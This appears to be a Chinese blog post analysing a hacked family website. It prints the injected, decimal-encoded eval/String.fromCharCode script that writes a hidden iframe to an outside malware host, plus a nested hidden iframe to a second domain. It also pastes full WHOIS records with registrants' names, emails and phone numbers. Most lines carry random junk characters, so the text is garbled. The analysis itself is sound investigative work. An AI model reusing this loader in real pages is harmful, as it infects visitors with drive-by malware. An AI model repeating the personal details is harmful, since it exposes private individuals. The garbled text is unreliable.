首发在我的博客里面，
L;?F^RK{U dY0W=,X$7T http://www.areway.cn/?p=175 SqRM*Cf= 2-N7%] h mwsBj) 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
a73VDQr I .m8l\h ^3 <script>t=’60,105,102,114,97,109,101,
KnA B FH 32,115,114,99,61,104,116,116,112,58,47,47,
ub9[!}r't 102,114,101,101,46,117,45,117,117,117,46,99,
"DGap*=J
110,47,101,114,114,111,114,46,104,116,109,
4|I;z 32,119,105,100,116,104,61,49,48,48,32,104,
J a4M@z 101,105,103,104,116,61,48,62,60,47,105,102,
%saP>]o 114,97,109,101,62′;
}qoId3iY!7 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
lxgfi@@+h ~MC 5rOA <script>t=’60,105,102,114,97,109,101,32,115,
59SL
mj 114,99,61,104,116,116,112,58,47,47,102,114,
[A {o"zY 101,101,46,117,45,117,117,117,46,99,110,47,
Rs S:I6L 101,114,114,111,114,46,104,116,109,32,119,
oQV3 105,100,116,104,61,49,48,48,32,104,101,105,
,30lu a 103,104,116,61,48,62,60,47,105,102,114,97,
s b3z8:r 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
`MCt m(< document.write(t);</script>
3fpaTue|x >R6mI <html xmlns=”
zA+0jhuG http://www.w3.org/1999/xhtml O;V^Fk( “>
.E+O,@?< <head>
/ar0K9`c <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
&Z!y>k%6 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
yih|6sd$F <title>首页 - 爱生活家庭网
cr ]b #z l/B+k 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
i<>%y* +@ 转换字符串后的大概内容是（谁点击后果自付）：
Bsg^[~jWJu <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
F:#5Edo}A 8(y %]# n 查询玉米u-uuu.cn的详细信息：
?SO!INJ Domain Name: u-uuu.cn
zh=0zJ ROID: 20070901s10001s64972306-cn
M=ag\1S&ZF Domain Status: ok
"$J5cco Registrant Organization: 王雷
CMbID1M3 Registrant Name: 王雷
|.yS~XFJS Administrative Email:
czlovexs@126.com pCo3%( Sponsoring Registrar: 北京万网志成科技有限公司
6'e ^np Name Server:ns.yovole.com
/AOGn?Z3 Name Server:ns1.yovole.com
'm |T"Ym~ Registration Date: 2007-09-01 17:54
bo< .pK$ Expiration Date: 2008-09-01 17:54
IgwHC0 W 最后PING了一下地址 都没有什么….
&nVekE:! D4y!l~_,%M 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
+HWFoK <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
[bX ^_ Y <script language=”javascript” src=”
LH+ Bu%s http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script q "T? >
I9aiAD0s 这个玉米应该有可能是木马作者的：
-Q5UT=^ foafau.info的详细信息：
1'(";
0I Access to INFO WHOIS information is provided to assist persons in
&J|I&p determining the contents of a domain name registration record in the
<P0 P *>M Afilias registry database. The data in this record is provided by
) !E: Afilias Limited for informational purposes only, and Afilias does not
2^Im~p~ByE guarantee its accuracy. This service is intended only for query-based
3kUb cm access. You agree that you will use this data only for lawful purposes
Ah@e9`_r and that, under no circumstances will you use this data to: (a) allow,
c V@^< enable, or otherwise support the transmission by e-mail, telephone, or
}S')!3[G facsimile of mass unsolicited, commercial advertising or solicitations
K8-1?-W to entities other than the data recipient’s own existing customers; or
%x@bP6d[ (b) enable high volume, automated, electronic processes that send
Y?0x /2< queries or data to the systems of Registry Operator, a Registrar, or
}1V+8'D Afilias except as reasonably necessary to register domain names or
Lk$Mfm5"M modify existing registrations. All rights reserved. Afilias reserves
KQ6][2- the right to modify these terms at any time. By submitting this query,
R)$] r>YZF you agree to abide by this policy.
<Z_\2
YW A Domain ID:D22418703-LRMS
;@gI*i
N" Domain Name:FOAFAU.INFO
nm% qm Created On:20-Nov-2007 16:05:42 UTC
m1]/8{EC7 Last Updated On:20-Nov-2007 16:05:44 UTC
e&8Meiv+ d Expiration Date:20-Nov-2008 16:05:42 UTC
NRP) 'E Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
3$K[(>s Status:CLIENT DELETE PROHIBITED
[okV[7 Status:CLIENT RENEW PROHIBITED
A/} [ Z\C Status:CLIENT TRANSFER PROHIBITED
}2*qv4},! Status:CLIENT UPDATE PROHIBITED
!blG c$kC Status:TRANSFER PROHIBITED
W= +AU!% Registrant ID:GODA-040110615
XUR #| Registrant Name:liu hong
|? ^N @ Registrant Organization:
* KiY+_8> Registrant Street1:beijing
>j ].`T Registrant Street2:
|9 $C%@8 Registrant Street3:
N.]~%)K:{ Registrant City:beijing
Yc~l Yz+b Registrant State/Province:
z(O* DwY# Registrant Postal Code:100000
^2%)Nq; O Registrant Country:CN
9{S$%D Registrant Phone:+86.860108888777
be_h
uZ Registrant Phone Ext.:
P Gxv 4(% Registrant FAX:
+jq@!P"}d Registrant FAX Ext.:
[h' 22 W Registrant Email:bbbshiji@163.com
b"> "NvlB Admin ID:GODA-240110615
AA ~7 "2 e Admin Name:liu hong
47*2QL^zj Admin Organization:
E#tfCM6 Admin Street1:beijing
vZS/? pU~~ Admin Street2:
^b$G.h{o!E Admin Street3:
Xm(#O1Vm(l Admin City:beijing
%t1Z!xv_ Admin State/Province:
>,k2|m Admin Postal Code:100000
u6Ux nqNc Admin Country:CN
#wvGS% Admin Phone:+86.860108888777
pBBKfv Admin Phone Ext.:
;Z "Iv Admin FAX:
iGj,B =35 Admin FAX Ext.:
rAW7Zp~KK Admin Email:bbbshiji@163.com
;H71A[M
T Billing ID:GODA-340110615
g}hNsU=$5~ Billing Name:liu hong
=Y!.0)t;* Billing Organization:
v1}i jls Billing Street1:beijing
Td 7Q%7p: Billing Street2:
;"9Ks . Billing Street3:
&+oJPpHi\ Billing City:beijing
|na9I6 Billing State/Province:
>}]bKq Billing Postal Code:100000
.v+J@Y a Billing Country:CN
aWLA6A+C& Billing Phone:+86.860108888777
(8o;Cm Billing Phone Ext.:
.9g :- hv Billing FAX:
k`[>B k%b Billing FAX Ext.:
P$AHw;n[R Billing Email:bbbshiji@163.com
}waZGJLN Tech ID:GODA-140110615
<.BY=z=H Tech Name:liu hong
`2V{]F Tech Organization:
t)k;5B`> & Tech Street1:beijing
tId,Q>zH Tech Street2:
~fcC+"7q/ Tech Street3:
lY,9bSF$ Tech City:beijing
QP!;Gwqr Tech State/Province:
1{cF/ :o Tech Postal Code:100000
lSd tw b Tech Country:CN
sMJa4 P>O@ Tech Phone:+86.860108888777
#% OS=.V Tech Phone Ext.:
v!<FeL W Tech FAX:
-{d(~XIo Tech FAX Ext.:
f 1o^:}5x Tech Email:bbbshiji@163.com
SjJ$Oinc Name Server:NS27.DOMAINCONTROL.COM
) 54cG Name Server:NS28.DOMAINCONTROL.COM
_x!/40^G Name Server:
}I`o%GL Name Server:
*(/b{!~ Name Server:
7+[L6q/K Name Server:
YLSDJ$K6 Name Server:
/9P7;1? Name Server:
XIM?$p^ Name Server:
YxU->Wi]G Name Server:
\sW>Y#9] Name Server:
!@ AnwV] Name Server:
~W B-WI\ Name Server:
#q&N d2y k#mL4$]V5N 接着下载每个文件里面的代码：
56N DU>j$ 一步一步看..
7s :cg 
'?{L
gj^R 
-I#<?=0B 
m,w^,) 
}>YEtA 
7( LB} 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
